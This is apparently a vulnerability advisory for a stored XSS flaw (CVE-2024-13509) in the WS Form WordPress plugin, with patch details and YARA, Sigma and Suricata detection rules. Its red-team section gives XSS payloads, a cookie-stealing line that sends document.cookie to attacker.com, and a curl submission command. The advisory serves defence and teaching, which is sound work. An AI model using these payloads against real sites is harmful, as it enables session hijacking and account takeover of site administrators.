CVE-2024-13509

Executive Summary

CVE-2024-13509 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WS Form LITE and PRO plugins for WordPress. The flaw resides in the url parameter, which is insufficiently sanitized and escaped, allowing unauthenticated attackers to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious input. The vulnerability impacts all versions up to and including 1.10.13. A partial fix was introduced in version 1.10.13, with a complete fix in version 1.10.14. Given the low EPSS score (0.0%), active exploitation is currently unlikely, but the ease of exploitation and the widespread use of WordPress make this a significant threat for targeted attacks.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The WS Form plugin is distributed through the official WordPress plugin repository and directly by the vendor. Users are advised to update to version 1.10.14 or later. There is no known compromise of the plugin's supply chain, but the risk of supply chain attacks via compromised plugin updates is a general concern for all WordPress plugins.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) - The victim must click on a link or visit a crafted page.
• Scope (S): Changed (C) - The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited information disclosure is possible.
• Integrity (I): Low (L) - Limited modification of data is possible.
• Availability (A): None (N) - No impact on availability.

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and can lead to session hijacking, defacement, or redirection to malicious sites.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the WS Form plugin. The plugin allows users to submit forms that include a url field. The input from this field is not properly sanitized or escaped before being stored in the WordPress database and later rendered on the page. An attacker can submit a form with a malicious payload in the url parameter, such as:

javascript:alert(document.cookie)

or

"><img src=x onerror=alert(1)>

When an administrator or other user views the submitted form data (e.g., in the WordPress admin panel or on a front-end page displaying submissions), the malicious script executes in their browser. This can lead to:

• Session Hijacking: Stealing session cookies to impersonate the victim.
• Defacement: Modifying the content of the page.
• Phishing: Redirecting users to fake login pages.
• Malware Distribution: Injecting scripts that download malware.

The vulnerability is particularly dangerous because it is stored, meaning the payload persists and affects every user who views the compromised page.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.10.13):

The vulnerable code likely does not properly escape the url parameter when outputting it. A simplified example:

// Vulnerable: Direct output without escaping
echo '<a href="' . $submission['url'] . '">Link</a>';

Patched Code (>= 1.10.14):

The patched code uses WordPress's built-in escaping functions:

// Patched: Properly escaped output
echo '<a href="' . esc_url($submission['url']) . '">Link</a>';

The esc_url() function sanitizes the URL, removing dangerous schemes like javascript: and encoding special characters.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Setup: Deploy a WordPress instance with WS Form LITE version 1.10.13.
2. Craft Payload: Create a form submission with a malicious url parameter. Example:

   javascript:document.location='http://attacker.com/steal.php?cookie='+document.cookie
   

3. Submit Form: Use a tool like curl or a browser to submit the form.

   curl -X POST http://target.com/wp-json/ws-form/v1/submit \
     -d "action=wsf_submit&form_id=1&field_1=test&field_2=javascript:alert(1)"
   

4. Trigger: Wait for an admin to view the submissions page. The script executes in their browser.

Blue Team (Detection & Response)

1. Monitor Logs: Look for unusual form submissions containing javascript: or data: URIs in URL fields.
2. Web Application Firewall (WAF): Deploy rules to block malicious payloads in form fields.
3. User Education: Train users to be cautious when viewing form submissions.
4. Incident Response: If exploitation is suspected, isolate affected systems, rotate credentials, and review logs for unauthorized access.

Indicators of Compromise (IOCs)

• Network: Outbound connections to attacker-controlled domains from the WordPress admin panel.
• Host: Presence of unexpected JavaScript in the WordPress database, specifically in the wp_ws_form_submit table.
• Logs: Form submissions containing javascript:, data:, or <script> tags in URL fields.
• File: Modified WordPress core files or plugin files (less likely).

Detection Engineering

YARA Rule

rule CVE_2024_13509_WS_Form_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2024-13509 in WS Form submissions"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-13509"
    strings:
        $payload1 = /javascript\s*:/ nocase
        $payload2 = /data\s*:/ nocase
        $payload3 = /<script[^>]*>/ nocase
        $payload4 = /onerror\s*=/ nocase
        $payload5 = /onload\s*=/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-13509 - WS Form Stored XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2024-13509 via form submissions
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url: "/wp-json/ws-form/v1/submit"
        http.body|contains:
            - "javascript:"
            - "data:"
            - "<script"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in form fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13509 - WS Form Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-json/ws-form/v1/submit"; http_uri; pcre:"/(javascript|data)\s*:/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Update the WS Form plugin to version 1.10.14 or later.
2. Workaround: If immediate update is not possible, disable the WS Form plugin until it can be updated.
3. Web Application Firewall (WAF): Deploy rules to block malicious payloads in form fields.
4. Input Validation: Implement server-side validation to reject URLs containing dangerous schemes.
5. Output Escaping: Ensure all user-supplied data is properly escaped before rendering.
6. Monitor: Continuously monitor for signs of exploitation.

Valters IT - This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.